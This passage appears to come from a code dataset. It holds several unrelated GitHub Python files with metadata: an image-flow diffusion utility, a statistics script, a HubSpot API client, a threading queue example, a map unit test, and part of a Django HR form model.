si\n yi, xi = np.nonzero(masks[sr, sc] == (i+1))\n yi = yi.astype(np.int32) + 1 # add padding\n xi = xi.astype(np.int32) + 1 # add padding\n ymed = np.median(yi)\n xmed = np.median(xi)\n imin = np.argmin((xi-xmed)**2 + (yi-ymed)**2)\n xmed = xi[imin]\n ymed = yi[imin]\n centers[i,0] = ymed + sr.start \n centers[i,1] = xmed + sc.start\n\n # get neighbor validator (not all neighbors are in same mask)\n neighbor_masks = masks_padded[neighbors[:,:,0], neighbors[:,:,1]]\n isneighbor = neighbor_masks == neighbor_masks[0]\n ext = []\n for slice_data in slices:\n if slice_data is not None:\n sr, sc = slice_data\n ext.append([sr.stop - sr.start + 1, sc.stop - sc.start + 1])\n ext = np.array(ext)\n if(len(ext)==0):\n return mu0, mu_c, centers\n\n n_iter = 2 * (ext.sum(axis=1)).max()\n\n # run diffusion\n mu = extend_centers(neighbors, centers, isneighbor, h+2, w+2, n_iter=n_iter)\n\n # normalize\n mu /= (1e-20 + (mu**2).sum(axis=0)**0.5)\n\n # put into original image\n mu0[:, y-1, x-1] = mu\n return mu0, mu_c, centers\n\n\ndef extend_centers(neighbors, centers, isneighbor, h, w, n_iter: int = 200):\n \"\"\"Run diffusion to generate flows for label images. This function is \n adapted from: https://github.com/MouseLand/cellpose.\n\n Args: \n neighbors : 9 x pixels in masks \n centers : mask centers\n isneighbor : valid neighbor boolean 9 x pixels\n \"\"\"\n nimg = neighbors.shape[0] // 9\n pt = torch.from_numpy(neighbors)\n \n T = torch.zeros((nimg, h, w), dtype=torch.double)\n meds = torch.from_numpy(centers.astype(int)).long()\n isneigh = torch.from_numpy(isneighbor)\n\n with torch.no_grad():\n for _ in range(n_iter):\n T[:, meds[:,0], meds[:,1]] +=1\n Tneigh = T[:, pt[:,:,0], pt[:,:,1]]\n Tneigh *= isneigh\n T[:, pt[0,:,0], pt[0,:,1]] = Tneigh.mean(axis=1)\n \n T = torch.log(1.+ T)\n # gradient positions\n grads = T[:, pt[[2,1,4,3],:,0], pt[[2,1,4,3],:,1]]\n dy = grads[:,0] - grads[:,1]\n dx = grads[:,2] - grads[:,3]\n mu = np.stack((dy.cpu().squeeze(), dx.cpu().squeeze()), axis=-2)\n return mu\n\n\ndef normalize_to_range(X, lower=0.01, upper=0.9999):\n \"\"\" normalize image so 0.0 is 0.01st percentile and 1.0 is 99.99th percentile \"\"\"\n x01, x99 = torch.quantile(X, 0.01),torch.quantile(X, 0.99)\n return (X - x01) / (x99 - x01)\n\n\n# sinebow color\ndef dx_to_circ(flows, alpha=False, mask=None, return_nparr = False):\n \"\"\" Y & X flows to 'optic' flow representation. This function adapted from\n https://github.com/MouseLand/cellpose.\n Args: \n flows : n x 2 x Ly x Lx array of flow field components [dy,dx]\n alpha: bool, magnitude of flow controls opacity, not lightness (clear background)\n mask: 2D array multiplied to each RGB component to suppress noise\n \"\"\"\n if isinstance(flows,(np.ndarray,np.generic)):\n flows = torch.from_numpy(flows)\n return_nparr = True\n \n if flows.ndim == 3 and flows.shape[0] == 2:\n flows = torch.unsqueeze(flows, 0)\n \n assert flows.ndim == 4, \"Expected flows to be of shape (n,2,y,x)\"\n\n imgs = []\n for flow in flows:\n magnitude = torch.clip(normalize_to_range(torch.sqrt(torch.sum(flow**2,axis=0))), 0, 1.)\n angles = torch.atan2(flow[1], flow[0])+torch.pi\n a = 2\n r = ((torch.cos(angles)+1)/a)\n g = ((torch.cos(angles+2*torch.pi/3)+1)/a)\n b = ((torch.cos(angles+4*torch.pi/3)+1)/a)\n\n if alpha:\n img = torch.stack((r,g,b,magnitude),axis=-1)\n else:\n img = torch.stack((r*magnitude,g*magnitude,b*magnitude),axis=-1)\n\n if mask is not None and alpha and flow.shape[0]<3:\n img[:,:,-1] *= mask\n\n img = (torch.clip(img, 0, 1) * 255).to(torch.uint8)\n imgs.append(img)\n\n vis = torch.permute(torch.stack(imgs),(0,3,1,2))\n return vis.numpy() if return_nparr else vis\n", "repo_name": "zudi-lin/pytorch_connectomics", "sub_path": "connectomics/data/utils/data_diffusion.py", "file_name": "data_diffusion.py", "file_ext": "py", "file_size_in_byte": 5969, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 151, "dataset": "github-code", "pt": "70", "api": [{"api_name": "numpy.ndarray", "line_number": 5, "usage_type": "attribute"}, {"api_name": "numpy.int32", "line_number": 8, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 12, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 16, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 19, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 5, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 26, "usage_type": "attribute"}, {"api_name": "numpy.pad", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 33, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.nonzero", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 46, "usage_type": "call"}, {"api_name": "scipy.ndimage.find_objects", "line_number": 49, "usage_type": "call"}, {"api_name": "scipy.ndimage", "line_number": 49, "usage_type": "attribute"}, {"api_name": "numpy.nonzero", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 56, "usage_type": "attribute"}, {"api_name": "numpy.int32", "line_number": 57, "usage_type": "attribute"}, {"api_name": "numpy.median", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.argmin", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 74, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 101, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.double", "line_number": 103, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 105, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 107, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 119, "usage_type": "call"}, {"api_name": "torch.quantile", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 138, "usage_type": "attribute"}, {"api_name": "numpy.generic", "line_number": 138, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 139, "usage_type": "call"}, {"api_name": "torch.unsqueeze", "line_number": 143, "usage_type": "call"}, {"api_name": "torch.clip", "line_number": 149, "usage_type": "call"}, {"api_name": "torch.sqrt", "line_number": 149, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 149, "usage_type": "call"}, {"api_name": "torch.atan2", "line_number": 150, "usage_type": "call"}, {"api_name": "torch.pi", "line_number": 150, "usage_type": "attribute"}, {"api_name": "torch.cos", "line_number": 152, "usage_type": "call"}, {"api_name": "torch.cos", "line_number": 153, "usage_type": "call"}, {"api_name": "torch.pi", "line_number": 153, "usage_type": "attribute"}, {"api_name": "torch.cos", "line_number": 154, "usage_type": "call"}, {"api_name": "torch.pi", "line_number": 154, "usage_type": "attribute"}, {"api_name": "torch.stack", "line_number": 157, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 159, "usage_type": "call"}, {"api_name": "torch.clip", "line_number": 164, "usage_type": "call"}, {"api_name": "torch.uint8", "line_number": 164, "usage_type": "attribute"}, {"api_name": "torch.permute", "line_number": 167, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 167, "usage_type": "call"}]} {"seq_id": "71033757986", "text": "from matplotlib import pyplot as plt\nimport pickle\nimport numpy as np\nfrom scipy.stats import ttest_rel, ttest_ind\nimport pandas as pd\nimport seaborn as sns\nfrom matplotlib import pyplot as plt\nimport spacy\n\nnlp = spacy.load(\"en_core_web_lg\")\n\n\nconds = ['intact','lesioned']\n\n#for cond in conds:\nif True:\n cond = 'Goodman'\n fname = \"output_goodman_etal_intact_0p55nege1.pkl\"\n \n f = open(fname, \"rb\")\n goodman = pickle.load(f)\n f.close()\n \n\n \n goodman_corr = np.array([goodman['correct']['vlens'][i][-1][0] for i in range(len(goodman['correct']['vlens']))])\n goodman_incr = np.array([goodman['incorrect']['vlens'][i][-1][0] for i in range(len(goodman['incorrect']['vlens']))])\n\n\n\n vlens_verbs = []\n vlens_nouns = []\n for i in range(len(goodman['correct']['probe'])):\n bg = goodman['correct']['probe'][i]\n [w1,w2] = bg.split()\n pos1 = nlp(w1)[0].pos_\n pos2 = nlp(w2)[0].pos_\n if pos2 == \"NOUN\":\n vlens_nouns.append( goodman['correct']['vlens'][i][-1][0] )\n elif pos2 == \"VERB\":\n vlens_verbs.append( goodman['correct']['vlens'][i][-1][0] )\n\n ttest = ttest_ind(vlens_nouns, vlens_verbs)\n t = np.round(ttest[0],2)\n p = np.round(ttest[1],3)\n M1 = np.round(np.mean(vlens_nouns),5)\n M2 = np.round(np.mean(vlens_verbs),5)\n df= min([len(vlens_nouns)-1, len(vlens_verbs)-1])\n print(\"Mean(Noun): {} --- Mean(Verb): {} --- t({}) = {}, p = {}\".format(M1, M2, df, t, p ))\n\n\n\n\n\n vlens_verbs = []\n vlens_nouns = []\n for i in range(len(goodman['incorrect']['probe'])):\n bg = goodman['incorrect']['probe'][i]\n [w1,w2] = bg.split()\n pos1 = nlp(w1)[0].pos_\n pos2 = nlp(w2)[0].pos_\n if pos2 == \"NOUN\":\n vlens_nouns.append( goodman['incorrect']['vlens'][i][-1][0] )\n elif pos2 == \"VERB\":\n vlens_verbs.append( goodman['incorrect']['vlens'][i][-1][0] )\n\n\n ttest = ttest_ind(vlens_nouns, vlens_verbs)\n t = np.round(ttest[0],2)\n p = np.round(ttest[1],3)\n M1 = np.round(np.mean(vlens_nouns),5)\n M2 = np.round(np.mean(vlens_verbs),5)\n df= min([len(vlens_nouns)-1, len(vlens_verbs)-1])\n print(\"Mean(Noun): {} --- Mean(Verb): {} --- t({}) = {}, p = {}\".format(M1, M2, df, t, p ))\n\n\n\n diff = goodman_corr - goodman_incr\n\n df = pd.DataFrame(np.array([goodman_corr, goodman_incr, diff]).T, columns=[\"Congruent\", \"Incongruent\", \"Difference\"]) \n\n\n\n d = np.mean(goodman_corr - goodman_incr)/np.std(goodman_corr - goodman_incr)\n\n\n sns.set_palette(\"Purples_r\") \n N = 32\n print(N, ttest_rel(goodman_corr[:N], goodman_incr[:N]))\n\n fig = plt.figure()\n #sns.distplot(df['Congruent'], kde=False, label=\"Congruent\")\n #sns.distplot(df['Incongruent'], kde=False, label=\"Incongruent\")\n plot = sns.distplot(df[\"Difference\"], kde=False)\n# plt.legend()\n plt.axvline(0, color=\"red\")\n plot.set_xlabel(\"Familiarity difference\", fontsize=15)\n plot.set_ylabel(\"Frequency\", fontsize=15)\n fig.show()\n", "repo_name": "kshabahang/DEN1_GeneralizationAtRetrieval", "sub_path": "src/analyze_goodman.py", "file_name": "analyze_goodman.py", "file_ext": "py", "file_size_in_byte": 3008, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "70", "api": [{"api_name": "spacy.load", "line_number": 10, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 27, "usage_type": "call"}, {"api_name": "scipy.stats.ttest_ind", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 47, "usage_type": "call"}, {"api_name": "scipy.stats.ttest_ind", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 72, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 84, "usage_type": "call"}, {"api_name": "seaborn.set_palette", "line_number": 87, "usage_type": "call"}, {"api_name": "scipy.stats.ttest_rel", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 91, "usage_type": "name"}, {"api_name": "seaborn.distplot", "line_number": 94, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}]} {"seq_id": "26010835828", "text": "\"\"\"REST client handling, including HubspotStream base class.\"\"\"\n\nfrom __future__ import annotations\n\nimport sys\nfrom typing import Any, Callable\n\nimport requests\nfrom singer_sdk.pagination import BaseAPIPaginator\nfrom singer_sdk.streams import RESTStream\nfrom singer_sdk import typing as th\n\nif sys.version_info >= (3, 8):\n from functools import cached_property\nelse:\n from cached_property import cached_property\n\nfrom singer_sdk.authenticators import BearerTokenAuthenticator\nfrom tap_hubspot.auth import HubSpotOAuthAuthenticator\n\n_Auth = Callable[[requests.PreparedRequest], requests.PreparedRequest]\n\n\nclass HubspotStream(RESTStream):\n \"\"\"tap-hubspot stream class.\"\"\"\n\n @property\n def url_base(self) -> str:\n \"\"\"\n Returns base url\n \"\"\"\n return \"https://api.hubapi.com/\"\n\n records_jsonpath = \"$[*]\" # Or override `parse_response`.\n\n # Set this value or override `get_new_paginator`.\n next_page_token_jsonpath = \"$.next_page\"\n\n @cached_property\n def authenticator(self) -> _Auth:\n \"\"\"Return a new authenticator object.\n\n Returns:\n An authenticator instance.\n \"\"\"\n\n if \"refresh_token\" in self.config:\n return HubSpotOAuthAuthenticator(\n self,\n auth_endpoint=\"https://api.hubapi.com/oauth/v1/token\",\n )\n else:\n return BearerTokenAuthenticator(\n self,\n token=self.config.get(\"access_token\"),\n )\n\n @property\n def http_headers(self) -> dict:\n \"\"\"Return the http headers needed.\n\n Returns:\n A dictionary of HTTP headers.\n \"\"\"\n headers = {}\n if \"user_agent\" in self.config:\n headers[\"User-Agent\"] = self.config.get(\"user_agent\")\n return headers\n\n def get_new_paginator(self) -> BaseAPIPaginator:\n \"\"\"Create a new pagination helper instance.\n\n If the source API can make use of the `next_page_token_jsonpath`\n attribute, or it contains a `X-Next-Page` header in the response\n then you can remove this method.\n\n If you need custom pagination that uses page numbers, \"next\" links, or\n other approaches, please read the guide: https://sdk.meltano.com/en/v0.25.0/guides/pagination-classes.html.\n\n Returns:\n A pagination helper instance.\n \"\"\"\n return super().get_new_paginator()\n\n def get_next_page_token(\n self,\n response: requests.Response,\n previous_token: t.Any | None,\n ) -> t.Any | None:\n \"\"\"Return a token for identifying next page or None if no more pages.\"\"\"\n # If pagination is required, return a token which can be used to get the\n # next page. If this is the final page, return \"None\" to end the\n # pagination loop.\n resp_json = response.json()\n paging = resp_json.get(\"paging\")\n\n if paging is not None:\n next_page_token = resp_json.get(\"paging\", {}).get(\"next\", {}).get(\"after\")\n else:\n next_page_token = None\n return next_page_token\n\n def get_url_params(\n self,\n context: dict | None,\n next_page_token: Any | None,\n ) -> dict[str, Any]:\n \"\"\"Return a dictionary of values to be used in URL parameterization.\n\n Args:\n context: The stream context.\n next_page_token: The next page index or value.\n\n Returns:\n A dictionary of URL query parameters.\n \"\"\"\n params: dict = {}\n if next_page_token:\n params[\"after\"] = next_page_token\n if self.replication_key:\n params[\"sort\"] = \"asc\"\n params[\"order_by\"] = self.replication_key\n\n return params\n\nclass DynamicHubspotStream(HubspotStream):\n \"\"\"DynamicHubspotStream\"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n def _get_datatype(self, data_type: str) -> th.JSONTypeHelper:\n # TODO: consider typing more precisely\n return th.StringType()\n\n @cached_property\n def schema(self) -> dict:\n \"\"\"Return a draft JSON schema for this stream.\"\"\"\n hs_props = []\n self.hs_properties = self._get_available_properties()\n for name, type in self.hs_properties.items():\n hs_props.append(\n th.Property(name, self._get_datatype(type))\n )\n return th.PropertiesList(\n th.Property(\"id\", th.StringType),\n th.Property(\n \"properties\", th.ObjectType(*hs_props),\n ),\n th.Property(\"createdAt\", th.StringType),\n th.Property(\"updatedAt\", th.StringType),\n th.Property(\"archived\", th.BooleanType),\n ).to_dict()\n\n def _get_available_properties(self) -> dict[str, str]:\n session = requests.Session()\n session.auth = self.authenticator\n\n resp = session.get(\n f\"https://api.hubapi.com/crm/v3/properties/{self.name}\",\n )\n resp.raise_for_status()\n results = resp.json().get(\"results\", [])\n return {prop[\"name\"]: prop[\"type\"] for prop in results}\n\n def get_url_params(\n self,\n context: dict | None,\n next_page_token: Any | None,\n ) -> dict[str, Any]:\n \"\"\"Return a dictionary of values to be used in URL parameterization.\n\n Args:\n context: The stream context.\n next_page_token: The next page index or value.\n\n Returns:\n A dictionary of URL query parameters.\n \"\"\"\n params = super().get_url_params(context, next_page_token)\n if self.hs_properties:\n params[\"properties\"] = \",\".join(self.hs_properties)\n return params\n", "repo_name": "MeltanoLabs/tap-hubspot", "sub_path": "tap_hubspot/client.py", "file_name": "client.py", "file_ext": "py", "file_size_in_byte": 5752, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "sys.version_info", "line_number": 13, "usage_type": "attribute"}, {"api_name": "typing.Callable", "line_number": 21, "usage_type": "name"}, {"api_name": "requests.PreparedRequest", "line_number": 21, "usage_type": "attribute"}, {"api_name": "singer_sdk.streams.RESTStream", "line_number": 24, "usage_type": "name"}, {"api_name": "tap_hubspot.auth.HubSpotOAuthAuthenticator", "line_number": 48, "usage_type": "call"}, {"api_name": "singer_sdk.authenticators.BearerTokenAuthenticator", "line_number": 53, "usage_type": "call"}, {"api_name": "cached_property.cached_property", "line_number": 39, "usage_type": "name"}, {"api_name": "singer_sdk.pagination.BaseAPIPaginator", "line_number": 70, "usage_type": "name"}, {"api_name": "requests.Response", "line_number": 87, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 106, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 107, "usage_type": "name"}, {"api_name": "singer_sdk.typing.StringType", "line_number": 134, "usage_type": "call"}, {"api_name": "singer_sdk.typing", "line_number": 134, "usage_type": "name"}, {"api_name": "singer_sdk.typing.JSONTypeHelper", "line_number": 132, "usage_type": "attribute"}, {"api_name": "singer_sdk.typing", "line_number": 132, "usage_type": "name"}, {"api_name": "singer_sdk.typing.Property", "line_number": 143, "usage_type": "call"}, {"api_name": "singer_sdk.typing", "line_number": 143, "usage_type": "name"}, {"api_name": "singer_sdk.typing.PropertiesList", "line_number": 145, "usage_type": "call"}, {"api_name": "singer_sdk.typing", "line_number": 145, "usage_type": "name"}, {"api_name": "singer_sdk.typing.Property", "line_number": 146, "usage_type": "call"}, {"api_name": "singer_sdk.typing", "line_number": 146, "usage_type": "name"}, {"api_name": "singer_sdk.typing.StringType", "line_number": 146, "usage_type": "attribute"}, {"api_name": "singer_sdk.typing.Property", "line_number": 147, "usage_type": "call"}, {"api_name": "singer_sdk.typing", "line_number": 147, "usage_type": "name"}, {"api_name": "singer_sdk.typing.ObjectType", "line_number": 148, "usage_type": "call"}, {"api_name": "singer_sdk.typing", "line_number": 148, "usage_type": "name"}, {"api_name": "singer_sdk.typing.Property", "line_number": 150, "usage_type": "call"}, {"api_name": "singer_sdk.typing", "line_number": 150, "usage_type": "name"}, {"api_name": "singer_sdk.typing.StringType", "line_number": 150, "usage_type": "attribute"}, {"api_name": "singer_sdk.typing.Property", "line_number": 151, "usage_type": "call"}, {"api_name": "singer_sdk.typing", "line_number": 151, "usage_type": "name"}, {"api_name": "singer_sdk.typing.StringType", "line_number": 151, "usage_type": "attribute"}, {"api_name": "singer_sdk.typing.Property", "line_number": 152, "usage_type": "call"}, {"api_name": "singer_sdk.typing", "line_number": 152, "usage_type": "name"}, {"api_name": "singer_sdk.typing.BooleanType", "line_number": 152, "usage_type": "attribute"}, {"api_name": "cached_property.cached_property", "line_number": 136, "usage_type": "name"}, {"api_name": "requests.Session", "line_number": 156, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 169, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 170, "usage_type": "name"}]} {"seq_id": "37351397080", "text": "from threading import Thread\nfrom queue import Queue\nfrom logging import basicConfig, info, INFO\nfrom time import sleep\nfrom random import randint\n\nLOG_FORMAT = '%(asctime)s %(threadName)-17s %(levelname)-8s %(message)s'\nbasicConfig(level=INFO, format=LOG_FORMAT)\n\nclass Producer(Thread):\n\tdef __init__(self, queue, *args, **kwargs):\n\t\tsuper().__init__(*args, **kwargs)\n\t\tself.queue = queue\n\n\tdef run(self):\n\t\tfor i in range(5):\n\t\t\titem = randint(0, 256)\n\t\t\tself.queue.put(item)\n\t\t\tinfo(f\"Producer notify: item #{item} appended to queue by {self.name}\")\n\t\t\tsleep(1)\n\nclass Consumer(Thread):\n\tdef __init__(self, queue, *args, **kwargs):\n\t\tsuper().__init__(*args, **kwargs)\n\t\tself.queue = queue\n\n\tdef run(self):\n\t\twhile True:\n\t\t\titem = self.queue.get()\n\t\t\tinfo(f\"Consumer notify: {item} popped from queue by {self.name}\")\n\t\t\tself.queue.task_done()\n\nif __name__==\"__main__\":\n\tqueue = Queue()\n\n\tt1 = Producer(queue, name=\"Producer-1\")\n\tt2 = Consumer(queue, name=\"Consumer-1\")\n\tt3 = Consumer(queue, name=\"Consumer-2\")\n\tt4 = Consumer(queue, name=\"Consumer-3\")\n\n\tt1.start()\n\tt2.start()\n\tt3.start()\n\tt4.start()\n\n\tt1.join()\n\tt2.join()\n\tt3.join()\n\tt4.join()", "repo_name": "BioWar/Python-Parallel-Programming", "sub_path": "Chapter_2/threading_with_queue.py", "file_name": "threading_with_queue.py", "file_ext": "py", "file_size_in_byte": 1147, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "logging.basicConfig", "line_number": 8, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 8, "usage_type": "name"}, {"api_name": "threading.Thread", "line_number": 10, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 17, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 19, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 20, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 22, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 30, "usage_type": "call"}, {"api_name": "queue.Queue", "line_number": 34, "usage_type": "call"}]} {"seq_id": "19479349127", "text": "import sys\nimport os\nimport json\n\n\nsys.path.append(os.getcwd() + \"/..\")\nfrom testslide import TestCase\n\n\nfrom map.map import GLOBAL_MAP, Coordinate, Map\nfrom communication.packet import Packet\n\n\nclass TestMap(TestCase):\n def setUp(self):\n super().setUp()\n self.map = Map()\n self.packet1 = Packet(1,3,7,1,0,0,0,0)\n self.packet2 = Packet(1,3,7,2,0,5,0,0)\n \n def test_add_obstacle(self):\n self.map.add_obstacle(self.packet1)\n coord = Coordinate(4, 7)\n self.assertTrue(coord in self.map.map)\n self.map.add_obstacle(self.packet2)\n print(self.map.distance)\n self.assertTrue(False)\n \n\n def test_global_map(self):\n self.map.add_obstacle(self.packet1)\n coord1 = Coordinate(4, 7)\n\n new_map = Map()\n new_map.add_obstacle(self.packet2)\n coord2 = Coordinate(5, 7)\n\n x = 7\n y = 8\n coord3 = Coordinate(x, y)\n self.assertTrue(coord1 in GLOBAL_MAP)\n self.assertTrue(coord2 in GLOBAL_MAP)\n self.assertTrue(coord3 not in GLOBAL_MAP)\n\n # def test_get_map(self):\n # x1 = 3\n # y1 = 7\n # self.map.add_obstacle(self.packet1)\n\n # x2 = 8\n # y2 = 7\n # self.map.add_obstacle(self.packet2)\n\n # idx = 1\n # map = self.map.get_map(idx)\n # returned_map = json.loads(map)\n # self.assertTrue(returned_map[\"id\"] == 1)\n # self.assertTrue(returned_map[\"x\"] == [x2,x1])\n # self.assertTrue(returned_map[\"y\"] == [y2,y1])\n\n\n\n\n\n", "repo_name": "ayman3010/Drone-exploration", "sub_path": "server/src/test/test_map.py", "file_name": "test_map.py", "file_ext": "py", "file_size_in_byte": 1542, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "sys.path.append", "line_number": 6, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 6, "usage_type": "call"}, {"api_name": "testslide.TestCase", "line_number": 14, "usage_type": "name"}, {"api_name": "map.map.Map", "line_number": 17, "usage_type": "call"}, {"api_name": "communication.packet.Packet", "line_number": 18, "usage_type": "call"}, {"api_name": "communication.packet.Packet", "line_number": 19, "usage_type": "call"}, {"api_name": "map.map.Coordinate", "line_number": 23, "usage_type": "call"}, {"api_name": "map.map.Coordinate", "line_number": 32, "usage_type": "call"}, {"api_name": "map.map.Map", "line_number": 34, "usage_type": "call"}, {"api_name": "map.map.Coordinate", "line_number": 36, "usage_type": "call"}, {"api_name": "map.map.Coordinate", "line_number": 40, "usage_type": "call"}, {"api_name": "map.map.GLOBAL_MAP", "line_number": 41, "usage_type": "name"}, {"api_name": "map.map.GLOBAL_MAP", "line_number": 42, "usage_type": "name"}, {"api_name": "map.map.GLOBAL_MAP", "line_number": 43, "usage_type": "name"}]} {"seq_id": "30513903816", "text": "from django.db import models, transaction, connection\nfrom cryptography.fernet import Fernet\nfrom django.conf import settings\nfrom django.http import *\n\n# To encrypt or decrypt data\nfrom django.forms import model_to_dict\n\nfrom office_app.models import *\nimport json\n\nsecurity = Fernet(settings.ENCRYPT_KEY)\n\n\nclass PAF(models.Model):\n pafID = models.BigAutoField(primary_key=True)\n\n # Employee Information\n emp_firstName = models.CharField(max_length=20, blank=True, null=True)\n emp_middleName = models.CharField(max_length=20, blank=True, null=True)\n emp_lastName = models.CharField(max_length=20, blank=True, null=True)\n emp_otherName = models.CharField(max_length=20, blank=True, null=True)\n emp_email = models.EmailField(unique=False, blank=True, null=True)\n emp_phone = models.CharField(unique=False, max_length=20, blank=True, null=True)\n emp_homeAddress = models.CharField(max_length=250, blank=True, null=True)\n\n # General Informationn\n dateOfHire = models.DateField(blank=True, null=True)\n position = models.CharField(max_length=50, blank=True, null=True)\n unit = models.CharField(max_length=50, blank=True, null=True)\n department = models.CharField(max_length=50, blank=True, null=True)\n actionType = models.CharField(max_length=50, blank=True, null=True)\n employmentType = models.CharField(max_length=50, blank=True, null=True)\n createdBy = models.CharField(max_length=50)\n\n def __str__(self):\n return str(self.pafID)\n\n \"\"\"\n This function create new paf object and submit it to the data base\n Written by: Zaawar Ejaz\n :param: self: new paf object\n \"\"\"\n\n def createPAF(self, emp_firstName, emp_middleName, emp_lastName, emp_otherName, emp_email, emp_phone,\n emp_homeAddress, dateOfHire, position, unit, department, actionType, employmentType, createdBy):\n\n self.actionType = actionType\n self.employmentType = employmentType\n self.emp_firstName = emp_firstName\n self.emp_middleName = emp_middleName\n self.emp_lastName = emp_lastName\n self.emp_otherName = emp_otherName\n self.emp_email = emp_email\n self.emp_phone = emp_phone\n self.emp_homeAddress = emp_homeAddress\n self.dateOfHire = dateOfHire\n self.position = position\n self.unit = unit\n self.department = department\n self.createdBy = createdBy\n self.save()\n\n \"\"\"\n This function returns all checklist in json format\n Written by: Zaawar Ejaz\n :param: pafID: the paf id of the paf\n :return: paf object\n\n \"\"\"\n\n @staticmethod\n def get_paf_details(pafID):\n return PAF.objects.get(pafID=pafID)\n\n \"\"\"\n This function returns all paf or paf created by manager (if id is provided) in json format\n Written by: Zaawar Ejaz\n :param manager_id: manager employee id\n :return: json formatted data\n\n \"\"\"\n\n @staticmethod\n def get_all_paf(empID):\n cursor = connection.cursor()\n result = []\n\n cursor.execute(\n 'SELECT \"pafID\",\"emp_firstName\", \"emp_middleName\", \"emp_lastName\", \"emp_email\", \"emp_phone\", \"position\", \"department\", '\n '\"unit\", \"employmentType\", \"actionType\", \"dateOfHire\", \"createdBy\" '\n 'FROM smart_hr_paf '\n 'WHERE \"createdBy\" = %s', [empID]\n )\n\n try:\n for row in cursor.fetchall():\n result.append(dict(zip([col[0] for col in cursor.description], row)))\n except:\n return {\"data\": result}\n\n return {\"data\": result}\n\n\n\"\"\"\n This function create new paf object and submit it to the data base\n Written by: Zaawar Ejaz\n :param: self: new paf object\n\"\"\"\n\n\nclass PAFAuthorizer(models.Model):\n pafID = models.ForeignKey(PAF, on_delete=models.CASCADE)\n signature_number = models.IntegerField()\n fullName = models.CharField(max_length=50)\n dateSigned = models.DateField()\n\n def __str__(self):\n return str(self.pafID)\n\n def addPAFAuthorizer(self, pafID, fullName, dateSigned, signature_number):\n self.pafID = pafID\n self.signature_number = signature_number\n self.fullName = 